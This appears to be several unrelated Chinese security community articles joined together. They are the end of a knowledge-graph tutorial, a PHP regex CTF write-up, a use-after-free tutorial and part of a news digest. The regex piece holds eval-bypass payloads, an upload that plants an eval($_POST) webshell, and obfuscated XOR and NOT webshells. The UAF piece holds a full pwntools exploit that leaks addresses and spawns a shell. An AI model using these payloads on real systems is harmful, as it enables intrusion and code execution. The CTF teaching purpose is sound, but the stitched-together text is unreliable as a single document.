其基本思想是首先根据给定的 **实体指称项** ，从知识库中选出一组候选实体对象，然后通过 **相似度计算** 将指称项链接到正确的实体对象。
**研究历史：**
1. 仅关注如何将从文本中抽取到的实体链接到知识库中，忽视了位于同一文档的实体间存在的语义联系。
2. 开始关注利用实体的共现关系，同时将多个实体链接到知识库中。 **即集成实体链接（collective entity linking）**
**实体链接的流程：**
1. 从文本中通过实体抽取得到实体指称项；
2. 进行 **实体消歧** 和 **共指消解** ，判断知识库中的同名实体与之是否代表不同的含义以及知识库中是否存在其他命名实体与之表示相同的含义；
3. 在确认知识库中对应的正确实体对象之后，将该实体指称项链接到知识库中对应实体。
> **实体消歧**
> 是专门用于解决同名实体产生歧义问题的技术，通过实体消歧，就可以根据当前的语境，准确建立实体链接，实体消歧主要采用聚类法。其实也可以看做基于上下文的分类问题，类似于词性消歧和词义消歧。
>
> **共指消解**
> 技术主要用于解决多个指称对应同一实体对象的问题。在一次会话中，多个指称可能指向的是同一实体对象。利用共指消解技术，可以将这些指称项关联（合并）到正确的实体对象，由于该问题在信息检索和自然语言处理等领域具有特殊的重要性，吸引了大量的研究努力。共指消解还有一些其他的名字，比如对象对齐、实体匹配和实体同义。
### 4-2-2 知识合并
在前面的实体链接中，我们已经将实体链接到知识库中对应的正确实体对象那里去了，但需要注意的是，实体链接链接的是我们从半结构化数据和非结构化数据那里通过信息抽取提取出来的数据。
那么除了半结构化数据和非结构化数据以外，我们还有个更方便的数据来源—— **结构化数据** ，如外部知识库和关系数据库。
对于这部分结构化数据的处理，就是我们 **知识合并** 的内容啦。
一般来说知识合并主要分为两种——
* 合并外部知识库
* 合并关系数据库
**合并外部知识库：**
需要处理两个层面的问题：
* **数据层的融合** ，包括实体的指称、属性、关系以及所属类别等，主要的问题是如何避免实例以及关系的冲突问题，造成不必要的冗余
* **模式层的融合** ，将新得到的本体融入已有的本体库中
一般有以下四个步骤：
1. 获取知识
2. 概念匹配
3. 实体匹配
4. 知识评估
**合并关系数据库：**
在知识图谱构建过程中，一个重要的高质量知识来源是企业或者机构自己的关系数据库。为了将这些结构化的历史数据融入到知识图谱中，可以采用资源描述框架（RDF）作为数据模型。业界和学术界将这一数据转换过程形象地称为`RDB2RDF`，其实质就是将关系数据库的数据换成RDF的三元组数据。
## 4-3 知识加工
经过刚才那一系列步骤，我们终于走到了知识加工这一步了！
感觉大家可能已经有点晕眩，那么让我们再来看一下知识图谱的这张架构图。
在前面，我们已经通过 **信息抽取** ，从原始语料中提取出了实体、关系与属性等知识要素，并且经过 **知识融合**
，消除实体指称项与实体对象之间的歧义，得到一系列基本的事实表达。
**然而事实本身并不等于知识。**
要想最终获得结构化，网络化的知识体系，还需要经历 **知识加工** 的过程。
知识加工主要包括3方面内容： **本体构建、知识推理和质量评估。**
### 4-3-1 本体构建
**本体（ontology）**
是对概念进行建模的规范，是描述客观世界的抽象模型，以形式化的方式对概念及其之间的联系给出明确定义。其最大特点在于它是共享的，本体中反映的知识是一种明确定义的共识。在知识图谱中，本体位于模式层，用于描述概念层次体系，是知识库中知识的概念模板。
> 本体是同一领域内的不同主体之间进行交流的语义基础。
本体可以采用人工编辑的方式手动构建（借助本体编辑软件），也可以以数据驱动的自动化方式构建本体。因为人工方式工作量巨大，且很难找到符合要求的专家，因此当前主流的全局本体库产品，都是从一些面向特定领域的现有本体库出发，采用自动构建技术逐步扩展得到的。
自动化本体构建过程包含三个阶段——
1. **实体并列关系相似度计算**
* 用于考察任意给定的2个实体在多大程度上属于同一概念分类的指标测度，相似度越高，表明这2个实体越有可能属于同一语义类别。
* > 如“中国”和“美国”作为国家名称的实体，具有较高的并列关系相似度；而“美国”和“手机”这两个实体，属于同一语义类别的可能性较低，因此具有较低的并列关系相似度
* 主流计算方法：模式匹配法和分布相似度。
2. **实体上下位关系抽取**
* 用于确定概念之间的隶属（IsA）关系，这种关系也称为上下位关系。
* > 如词组（导弹，武器）构成上下位关系，其中的“导弹”为下位词，“武器”为上位词。
* 主要研究方法：①基于语法模式（如Hearst模式）抽取IsA实体对；②利用概率模型判定IsA关系和区分上下位词，通常会借助百科类网站提供的概念分类知识来帮助训练模型，以提高算法精度；③用跨语言知识链接的方法来构建本体库；
3. **本体的生成**
* 本体生成主要是对各层次得到的概念进行聚类，并对其进行语义类的标定，即为该类中的实体指定1个或多个公共上位词。
* 主要研究方法：实体聚类方法
### 4-3-2 知识推理
**知识推理**
是指从知识库中已有的实体关系数据出发，进行计算机推理，建立实体间的新关联，从而拓展和丰富知识网络。知识推理是知识图谱构建的重要手段和关键环节，通过知识推理，能够从现有知识中发现新的知识。
比如——
> 如果我们知道这两个信息(A,father,B),(B,father,C)，那么知识推理就可以帮助我们得到(A,grandfather,C)的事实。
当然知识推理的对象也并不局限于实体间的关系，也可以是实体的属性值，本体的概念层次关系等。
比如——
> 推理属性值：已知某实体的生日属性，可以通过推理得到该实体的年龄属性；
> 推理概念：已知(老虎，科，猫科)和（猫科，目，食肉目）可以推出（老虎，目，食肉目）
知识推理方法目前可以分为3大类，基于逻辑的推理、基于图的推理和基于深度学习的推理
* **基于逻辑的推理方法** 主要采用抽象或具象的Horn子句建模，然后基于一阶逻辑谓词、描述逻辑以及规则进行推理。
* **基于图的推理方法** 主要思想是将实体和关系映射到一个低维的embedding空间中，基于知识的语义表达进行推理建模。
* **基于深度学习的推理方法** 主要考虑使用神经网络进行建模，并且往往会和上面两种推理方法结合起来进行建模。
如果想要具体了解知识推理过程的算法综述的话，可以详见我的这篇博文：[知识图谱中的关系推理，究竟是个什么玩意儿？](http://www.zuozuovera.cn/archives/491/)
### 4-3-3 质量评估
质量评估也是知识库构建技术的重要组成部分，这一部分存在的意义在于：可以对知识的可信度进行量化，通过舍弃置信度较低的知识来 **保障知识库的质量。**
好啦，在质量评估之后，你是不是想说，妈耶知识图谱终于构建完毕了。终于可以松一口气了。
emmmm好吧，实不相瞒，知识图谱这个宝宝目前虽然我们构建成功了。
但是！你家宝宝不吃饭的啊！你家宝宝不学习的啊！
所以，让我们冷静一下，乖乖进入知识更新这一步……
## 4-4 知识更新
从逻辑上看，知识库的更新包括 **概念层的更新和数据层的更新**
* **概念层的更新** 是指新增数据后获得了新的概念，需要自动将新的概念添加到知识库的概念层中。
* **数据层的更新** 主要是新增或更新实体、关系、属性值，对数据层进行更新需要考虑数据源的可靠性、数据的一致性（是否存在矛盾或冗杂等问题）等可靠数据源，并选择在各数据源中出现频率高的事实和属性加入知识库。
知识图谱的内容更新有两种方式：
* **全面更新：** 指以更新后的全部数据为输入，从零开始构建知识图谱。这种方法比较简单，但资源消耗大，而且需要耗费大量人力资源进行系统维护；
* **增量更新：** 以当前新增数据为输入，向现有知识图谱中添加新增知识。这种方式资源消耗小，但目前仍需要大量人工干预（定义规则等），因此实施起来十分困难。
# 0x05 知识图谱的应用
好了！终于终于！知识图谱的构建方式我们就此结束了！
为了让大家不立刻弃疗，让我们来看看知识图谱能做到什么，以及目前已经做到了什么~
* 智能搜索——也是知识图谱最成熟的一个场景，自动给出搜索结果和相关人物
* 构建人物关系图，查看更多维度的数据
* 反欺诈：这主要有两部分原因，一个是反欺诈的数据来源多样，结构化和非结构化，二是不少欺诈案件会涉及到复杂的关系网络
* 不一致性验证（类似交叉验证）——关系推理
* 异常分析（运算量大，一般离线）
* 静态分析：给定一个图形结构和某个时间点，从中去发现一些异常点（比如有异常的子图）。
* 动态分析：分析其结构随时间变化的趋势。（假设短时间内知识图谱结构的变化不会太大，如果它的变化很大，就说明可能存在异常，需要进一步的关注。会涉及到时序分析技术和图相似性计算技术。）
* 失联客户管理
挖掘出更多的新联系人，提高催收的成功率。
* ……
事实上，知识图谱的应用远不止于此。在我看来，这个世界就是一张巨大的知识图谱，是无数个实体关系对，这两年工业界对图数据库、知识图谱的巨大需求也同样反映出了这一点。
就像这篇文章开头说的那句一样——
> “The world is not made of strings , but is made of things.”
> ——辛格博士，from Google.
那么后面会涉及到的跨语言知识图谱的构建、知识图谱的构建算法细节、实战、更新和维护等等内容，就让我慢慢更新起来吧~
再次欢迎对这个方向感兴趣的童鞋们来交流~也欢迎同行指出这系列文章的不足！再次鞠躬笔芯感谢！
> 我的博客地址：[薇拉航线](http://www.zuozuovera.com)
附赠一张知识图谱的mindmap~
（因为以前老是遇见盗图不写来处的人……所以打了丑丑的水印……请右键→在新标签中打开图片，查看高清大图 _(:з」∠)_ ）
# References
[1](./img/5768061321645908241.png)
刘峤, 李杨, 段宏,等. 知识图谱构建技术综述[J]. 计算机研究与发展, 2016, 53(3):582-600.
[2](./img/548929097253310917.png)
薇拉航线. 知识图谱中的关系推理，究竟是个什么玩意儿. 2017,03.
<http://www.zuozuovera.cn/archives/491/#directory077175446956507751>
[3](./img/304752546762791837.png)
打怪的蚂蚁. CSDN. 知识图谱技术技巧.
<http://blog.csdn.net/xgjianstart/article/details/70214852> | 社区文章 |
## 正则表达式是什么
正则表达式(regular expression)描述了一种字符串匹配的模式（pattern），可以用来检查一个串是否含有某种子串、
将匹配的子串替换或者从某个串中取出符合某个条件的子串等。包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为"元字符"）。
另外正则引擎主要可以分为基本不同的两大类：一种是DFA(确定性有穷自动机），另一种是NFA（非确定性有穷自动机）。
在NFA中由于表达式主导的串行匹配方式，所以用到了回溯（backtracking），这个是NFA最重要的部分，每一次某个分支的匹配失败都会导-致一次回溯。
DFA没有回溯，因此看起来在某些情况下会比NFA来得更快，但是在真正使用中，DFA需要进行预编译才能获得更好效果，
因为DFA的匹配方式需要更多的内存和时间，在第一次遇到正则表达式时需要比NFA详细得多的方法来分析这个表达式，
不过可以预先把对不同正则表达式的分析结果建好，DFA就可以获得比NFA更优的速度。
虽然NFA速度更慢，并且实现复杂，但是它又有着比DFA强大的多的功能，比如支持环视，支持反向引用（虽然这个是非正则的）等，
因此大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。
### 0x02 扩展表示法
扩展表示是以问号开始（?…）,通常用于在判断匹配之前提供标记，实现一个前视（或者后视）匹配，或者条件检查。
尽管圆括号使用这些符号，但是只有（?P<name>）表述一个分组匹配。</name>
正则表达式 | 匹配字符串
-----------| --------- (?:\w+\.)* | 以句点作为结尾的字符串，例如“google.”、“twitter.”、“facebook.”，但是这些匹配不会保存下来供后续的使用和数据检索
(?=.com) | 如果一个字符串后面跟着“.com”才做匹配操作，并不使用任何目标字符串
(?!.net) |如果一个字符串后面不是跟着“.net”才做匹配操作
(?<=800-) |如果字符串之前为“800-”才做匹配，假定为电话号码，同样，并不使用任何输入字符串
(?<!192\.168\.) |如果一个字符串之前不是“192.168.”才做匹配操作，假定用于过滤掉一组 C 类 IP 地址
(?(1)y\|x) |如果一个匹配组 1（\1）存在，就与 y 匹配；否则，就与 x 匹配
\(((?>[^()]+)\|(?R))* \) | 进行循环匹配
## 循环匹配探索
在上述的扩展表达式中有一个循环模式， 特殊项(?R)提供了递归的这种特殊用法，在PRCE模式中，考虑匹配圆括号内字符串的问题，
允许无限嵌套括号。如果不使用递归， 最好的方式是使用一个模式匹配固定深度的嵌套。
这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了， 因此空白字符被忽略)：`\( ( (?>[^()]+) | (?R)
)* \)。`
**IN:**
<?php
var_dump(preg_match('/\((?R)*\)/','((((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))abc'));
?>
**OUT:**
int(1) string(0) "" string(3) "abc"
从以上的输出结果，可以明显的发现，`'/\((?R)*\)/'`这个正则表达式，进行自身循环匹配。
### 从一道ctf题浅析利用
题目的名字为[easy – phplimit](http://51.158.75.42:8084/)，是p神出的一个练习代码审计的题目。源码如下：
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
第二部分也提到了，这个正则是对'()'的一种循环匹配，`"';' === preg_replace('/[^\W]+\((?R)?\)/', '',
$_GET['code'])"`这关系式的意思是，
从code参数中，匹配匹配字母、数字、下划线，其实就是'\w+'，然后在匹配一个循环的'()'，将匹配的替换为NULL，判断剩下的是否只有';'。
于是就开始翻阅[手册]<http://www.php.net/manual)，这个真的是好东西。以下是对这一块的探究：>
自搭建环境测试
getcwd(): 获取当前路径
IN:
?code=print_r(getcwd());
OUT:
A:\tools\phpStudy\WWW\study
dirname(): 返回路径中的目录部分
IN:
?code=print_r(dirname(getcwd()));
OUT:
A:\tools\phpStudy\WWW
这里对dirname($path)进行一个解释：该函数的返回值为，返回path的父目录。如果在 path中没有斜线，则返回一个点('.')，
表示当前目录，因此此处为父目录`'A:\tools\phpStudy\WWW'`，后面使用chdir时是当前目录。
chdir(): 改变工作目录
IN:
?code=print_r(chdir(getcwd()));
OUT:
1
成功返回1(true)
get_defined_vars(): 返回由所有已定义变量所组成的数组
IN:
?test=1&code=print_r(get_defined_vars());
OUT:
Array([_GET] => Array ( [test] => 1 [code] => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array() ) [_FILES] => Array ( ) [a] => Array()....
**探测到目录与文件情况后就可以进行构造payload**
=>获得路径为/var/html
?code = print_r(getcwd());
=>查看路径下内容没有可用的
?code = print_r(scandir(getcwd()))
=>探测上一级为Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html )
?code = print_r(scandir(dirname(getcwd())))
=>发现flag文件，进行读取
?code = readfile(next(array_reverse(scandir(dirname(getcwd())))))
=>发现报错，不存在flag_phpbyp4ss文件，更改工作目录
?code = readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))
会发现最后的payload多了一个dirname()，原因是因为dirname()中的path没有斜线就会返回本路径，不会影响最后结果。
另外在RCTF中，r-cursive中也用到了这个知识点，官方的解使用eval(implode(getallheaders()))，执行返回的HHTP头内的信息，更改头部信息加上cmd:
phpinfo();// 达到命令执行。
但是该题目中却不可以，由于环境不同apache模块的函数不能在ngnix中执行，参照大佬们的思路，利用get_defined_vars()执行GET的参数
**payload为：**
?1=readfile(../flag_phpbyp4ss);&code=eval(implode(reset(get_defined_vars())));
### php回溯机制
前面我们已经说到了PHP使用PCRE库，那么正则引擎就是DFA(确定性有穷自动机），使用回溯的方式进行匹配，
大致过程就是在对一个字符串进行匹配时，如果匹配失败吐出一个字符，然后再进行匹配，如果依然失败，重复上面操作.....
**举一个例子，更详细的阐述：**
<?php
preg_match('/<\?.*[(`;?>].*/','<?php phpinfo();//abc');
**过程：**
<\?.* => <?php phpinfo();//abc
<\?.*[(`;?>] => <?php phpinfo();//ab
<\?.*[(`;?>] => <?php phpinfo();//a
<\?.*[(`;?>] => <?php phpinfo();//
<\?.*[(`;?>] => <?php phpinfo();/
<\?.*[(`;?>] => <?php phpinfo();
<\?.*[(`;?>] => <?php phpinfo()
<\?.*[(`;?>] => <?php phpinfo();
<\?.*[(`;?>].* => <?php phpinfo();//abc
可以发现这其中存在一个回溯过程，首先<\?. _直接把所有的匹配完成，使得._ 后面至少有一个[(`;?>].*没有完成匹配，
因此就向前匹配，知道匹配成功（到phpinfo()后面的;）。
### 使用php的pcre.backtrack_limit限制绕过
当然在上面那个匹配中不可能一直回溯，那这样就会消耗服务器资源，就形成了正则表达式的拒绝服务攻击，因此php就有了限制回溯的机制
**IN:**
<?php
var_dump(ini_get('pcre.backtrack_limit'));
var_dump(preg_match('/<\?. _[(`;? >]._/is', '<?php
phpinfo();//'.str_repeat('c', 999995)));
**OUT:**
string(7) "1000000" bool(false)
在这个点上p师傅出过一道题目，源码如下：
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
**payload：**
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://IP/index.php', files=files, allow_redirects=False)
print(res.headers)
关键点就是，is_php($data)要为false，也就是`preg_match('/<\?.*[(`;?>].*/is',
$data);`为false，根据preg_match函数的性质，
如果匹配不到或者`$data`为数组，那么返回为false。当然数组是不可能的，因为file_get_contents函数是将内容读入$data中，
那么就考了匹配不了这种情况，因为上面我们发现，当超过最好回溯限制式将返回false，因为利用这一个点进行突破。
### 使用无字母数字方式绕过
这是以一个题目引发的，之前看过P师傅的[讲解](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)，
很是收益。先膜一波，然后具体地解析一下代码。
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
对于这个正则表达式，很显然，把数字大小写字母全部过滤了，因为shell无法直接命令执行。在p神的博客中提到三种方法，
#### 方法一：使用异或
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
**对上面的payload这里做出具体解释：**
**IN:**
<?php
$payload = array('a','s','s','e','r','t','P','O','S','T');
foreach ($payload as $n => $p){
echo $p^'`';
}
**OUT:**
`0/34`
可以发现'P''S''T'这三个字母异或出来是数字，所以与']'异或一下，最终为：
**IN:**
<?php
$payload = array('a','s','s','e','r','t','P','O','S','T');
foreach ($payload as $p){
if($p=='P'||$p=='S'||$p=='T'){
echo urlencode($p^']');
continue;
}
echo urlencode($p^'`');
}
**OUT:**
%01%13%13%05%12%14%0D%2F%0E%09
这样得到了异或需要的值，然后我们看一下代码的具体操作，首先是先进行异或，字符连接得到'assert'，也就是$_变量，然后按照相同办法得到'_POST'，接下来就是组装。
#### 方法二：使用取反
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
上面看起来就没有头绪，这里我简单说明一下。
在ｐ师傅的这篇文章中可以发现：
**IN:**
<?php echo ~('和'{2});
**OUT:**
s
后来在我的尝试下，发现在php7以下都会报一个错误：syntax error, unexpected '{' in 1.php on line
3，但是换一种写法就可以
<?php
$___="和";
echo ~($___{2});
这里先记下来了，解析一下这语句的意思，(''{})来输出汉字的UTF-8编码的某个字符，另外记录一个小知识点：
**IN:**
<?php
echo base_convert(ord("和"[0]), 10, 16);
echo base_convert(ord("和"[1]), 10, 16);
echo base_convert(ord("和"[2]), 10, 16).'<br/>';
echo urlencode("和").'<br/>';
**OUT:**
e5928c
%E5%92%8C
可以发现utf-8编码与与Url编码的关系，了解了这些后，针对于怎么得到payload写了如下程序：
**IN:**
<?php
//获取payload的unicode编码
function get_unicode(){
$payload = array('a','s','s','e','r','t','P','O','S','T');
$payloadTounicode = array();
foreach ($payload as $p){
$payloadTounicode[$p] = base_convert(ord($p), 10, 16);
}
return $payloadTounicode;
}
//在输入的汉字中找到囊括payload的汉字
function find_unicode($fuzz, $payloadTounicode){
$found = array();
foreach ($payloadTounicode as $p){
echo $p;
foreach($fuzz as $f){
if((base_convert(ord(~($f{1})), 10, 16) == $p) || (base_convert(ord(~($f{2})), 10, 16) == $p)){
$found[] = $f;
break;
}
}
echo '<br/>';
}
return $found;
}
$fuzz = array('和','看','的','加','徐','不','瞰','始','俯','站','次','半');
var_dump(find_unicode($fuzz,get_unicode()));
**OUT:**
`array(9) { [0]=> string(3) "瞰" [1]=> string(3) "和" [2]=> string(3) "的" [3]=>
string(3) "不" [4]=> string(3)`
`"看" [5]=> string(3) "俯" [6]=> string(3) "瞰" [7]=> string(3) "次" [8]=>
string(3) "站" }`
找到需要是要的汉字，开始后构造payload(payload在开头已经给出了，简单说一下自己的理解)：
<?php
$__=('>'>'<')+('>'>'<');
// 这里是true+true=2
$_=$__/$__;
// 这里2/2=1
$___="瞰";$____.=~($___{$_});
// 获得'a'字母
$_=$$_____;
// $_____为连接而成的'_POST'，$_为$_ POST
$____($_[$__]);
// 最终为assert($_POST[2])
以上有错误的地方希望，各位师傅能够指正(Ths) | 社区文章 |
# 【技术分享】逆向安全系列：Use After Free漏洞浅析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **ray_cp**
****](http://bobao.360.cn/member/contribute?uid=2796348634)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**一、前言**
想着接下来要写一个use after free的小总结，刚好碰巧最近的湖湘杯2016的一题—-game利用use after
free可以解出来。这题是自己第一次在比较正式的比赛中做出pwn题，做这题的时间花了不少，效率不高，但自己还是蛮开心的，后面回头做hctf2016的fheap这题，也可以用uaf解出来，game这题题目的复杂度稍微高一点，描述起来有点难，下面主要是用hctf的这道题来给大家讲述原理。对于uaf漏洞，搜了下，uaf漏洞在浏览器中存在很多，有兴趣的同学可以自己去查查。
**二、uaf原理**
uaf漏洞产生的主要原因是释放了一个堆块后，并没有将该指针置为NULL，这样导致该指针处于悬空的状态，同样被释放的内存如果被恶意构造数据，就有可能会被利用。先上一段代码给大家一个直观印象再具体解释。
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(int*)malloc(4*sizeof(int));
printf("malloc addr: %pn",p1);
p1[3]=echo;
p1[3]("hello worldn");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %pn",p2);
printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("whoami");
return 0;
}
这段代码在32位系统下执行。通过这段代码可以大概将uaf的利用过程小结为以下过程：
1、申请一段空间，并将其释放，释放后并不将指针置为空，因此这个指针仍然可以使用，把这个指针简称为p1。
2、申请空间p2，由于malloc分配的过程使得p2指向的空间为刚刚释放的p1指针的空间，构造恶意的数据将这段内存空间布局好，即覆盖了p1中的数据。
3、利用p1，一般多有一个函数指针，由于之前已使用p2将p1中的数据给覆盖了，所以此时的数据既是我们可控制的，即可能存在劫持函数流的情况。
**三、hctf2016–fheap**
uaf原理还比较简单，下面就是具体的实践了，这个漏洞复杂一些的话就和double
free这些其他的堆的常见利用方法合起来一起出题，具体的可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题，和fheap基本上是一样的，这题大家跟出来了的话可以去做下game试下。先介绍fheap的功能。
**A、程序功能**
程序提供的功能比较简单，总共两个功能：
**1、create string**
输入create
后，接着输入size，后输入具体的字符串。相关的数据结构则是：先申请0x20字节的堆块存储结构，如果输入的字符串长度大于0xf，则另外申请对应长度的空间存储字符串，否则直接存储在之前申请的0x20字节的前16字节处，在最后，会将相关free函数的地址存储在堆存储结构的后八字节处。相关示意图描绘如下：
**2、delete string**
调用存储在结构体里的free_func这个指针来释放堆，由于在释放以后没有将指针置空，出现了释放后仍可利用的现象，即uaf。
**B、查看防护机制**
首先查看开启的安全机制
可以看到开启了PIE，在解题的过程中还需要绕过PIE，PIE是指代码段的地址也会随机化，不过低两位的字节是固定的，利用这一点我们可以来泄露出程序的地址。
**C、利用思路**
总思路：首先是利用uaf，利用堆块之间申请与释放的步骤，形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说，先申请的是三个字符创小于0xf的堆块，并将其释放。此时fastbin中空堆块的单链表结构如下左图，紧接着再申请一个字符串长度为0x20的字符串，此时，申请出来的堆中的数据会如下右图，此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间，这时候输入的数据就能覆盖到1号堆块中的free_func指针，指向我们需要执行的函数，随后再调用1号堆块的free_func函数，即实现了劫持函数流的目的。
1、绕过PIE，在能劫持函数流之后，首先是泄露出程序的地址以绕过PIE，具体的方法是将free_func指针的最低位覆盖成"x2d"，变成去执行fputs函数，最后变成去打印出free_func的地址，从而得到程序的基地址等。
2、泄露system函数地址，首先有了程序的地址后，可以得到printf函数的plt地址，从而想办法在栈中部署数据，使用格式化字符串打印出我们需要的地址中的内容，使用DynELF模块去泄露地址，具体可以看安全客之前有人写的一篇文章—借助DynELF实现无libc的漏洞利用小结。从而泄露出system函数的地址。
3、执行system("/bin/sh")
最终调用system函数开启shell。
**D、最终exp**
exp最终如下，里面还有部分注释。
from pwn import *
from ctypes import *
DEBUG = 1
if DEBUG:
p = process('./fheap')
else:
r = remote('172.16.4.93', 13025)
print_plt=0
def create(size,content):
p.recvuntil("quit")
p.send("create ")
p.recvuntil("size:")
p.send(str(size)+'n')
p.recvuntil('str:')
p.send(content.ljust(size,'x00'))
p.recvuntil('n')[:-1]
def delete(idx):
p.recvuntil("quit")
p.send("delete "+'n')
p.recvuntil('id:')
p.send(str(idx)+'n')
p.recvuntil('sure?:')
p.send('yes '+'n')
def leak(addr):
delete(0)
#printf函数格式化字符串打印第九个参数地址中的数据，第九个刚好是输入addr的位置
data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt)
create(0x20,data)
p.recvuntil("quit")
p.send("delete ")
p.recvuntil('id:')
p.send(str(1)+'n')
p.recvuntil('sure?:')
p.send('yes01234'+p64(addr))
p.recvuntil('aa')
data=p.recvuntil('####')[:-4]
data += "x00"
return data
def pwn():
global print_plt
create(4,'aa')
create(4,'bb')
create(4,'cc')
delete(2)
delete(1)
delete(0)
#申请三个堆块,随后删除，从而在fastbin链表中形成三个空的堆块
#part1 覆盖到fputs函数，绕过PIE
data='a'*0x10+'b'*0x8+'x2D'+'x00'#第一次覆盖，泄露出函数地址。
create(0x20,data)#在这里连续创建两个堆块，从而使输入的data与前面的块1公用一块内存。
delete(1)#这里劫持函数程序流
p.recvuntil('b'*0x8)
data=p.recvuntil('1.')[:-2]
if len(data)>8:
data=data[:8]
data=u64(data.ljust(8,'x00'))-0xA000000000000 #这里减掉的数可能不需要，自行调整
proc_base=data-0xd2d
print "proc base",hex(proc_base)
print_plt=proc_base+0x9d0
print "print plt",hex(print_plt)
delete(0)
data='a'*0x10+'b'*0x8+'x2D'+'x00'
create(0x20,data)
delete(1)
p.recvuntil('b'*0x8)
data=p.recvuntil('1.')[:-2]
#part2 使用DynELF泄露system函数地址
d = DynELF(leak, proc_base, elf=ELF('./fheap'))
system_addr = d.lookup('system', 'libc')
print "system_addr:", hex(system_addr)
#parts 执行system函数，开启shell
delete(0)
data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)
create(0x20,data)
delete(1)
p.interactive()
####
#利用的方式总结为
#delete(0)，将申请出来的堆块添入到fastbin中
#create(0x20,data),连续申请两个堆块，数据覆盖1堆中的free_func指针
#delete(1)劫持函数流，调用我们覆盖的指针处的地址
###
if __name__ == '__main__':
pwn()
执行结果
**四、小结**
我感觉UAF最主要的是，在释放了堆块以后没有将指针置空，后续过程中内存空间数据被覆盖为其他数据后，该指针仍然可以正常使用该内存，从而导致数据的误用。ctf题中容易碰见的是，释放的堆块中原本某个区域是用来存储函数指针的，后面被恶意构造的数据覆盖成其他地址实现了劫持函数流的目的，从而有可能就被pwn掉了。
道理就是这个道理，后面给大家推荐两个题目，一个是pwnable里面的uaf，一个是湖湘杯的game（好像这题也是今年xnuca的原题），大家可以看下。pwnable里面的uaf是覆盖虚函数，我觉得有个大佬的文章写得也蛮好，在后面链接中贴出来。
**五、参考文章**
[HCTF 2016网络攻防大赛官方Writeup](http://www.freebuf.com/articles/web/121778.html)
[FlappyPig HCTF2016 Writeup](http://bobao.360.cn/ctf/detail/179.html)
[pwnable.kr之uaf](http://blog.csdn.net/qq_20307987/article/details/51511230)
[借助DynELF实现无libc的漏洞利用小结](http://m.bobao.360.cn/learning/detail/3298.html)
**六、相关文档**
[CVE-2014-1772 – IE浏览器 Use After Free
漏洞详细分析](http://bobao.360.cn/learning/detail/88.html) | 社区文章 |
# 【知识】10月13日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Yahoo Bug Bounty：利用OAuth配置错误来接管Flickr帐户、BurpSuite扩展用于自动化授权强制检测、Kernel
Pool Overflow Exploitation In Real World（Windows 7、10）、Typecho
SSRF漏洞分析和利用、渗透测试学习笔记之案例五 **
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
卡巴斯基被指修改软件以帮助俄罗斯窃取 NSA 机密
比特币币值再次突破 5000 美元，创造新的历史记录
**资讯类：**
********
Outlook加密有bug 会在用户发送的加密邮件后附加明文版本
<https://www.theregister.co.uk/2017/10/11/outlook_smime_bug/>
**技术类：**
********
Yahoo Bug Bounty：利用OAuth配置错误来接管Flickr帐户
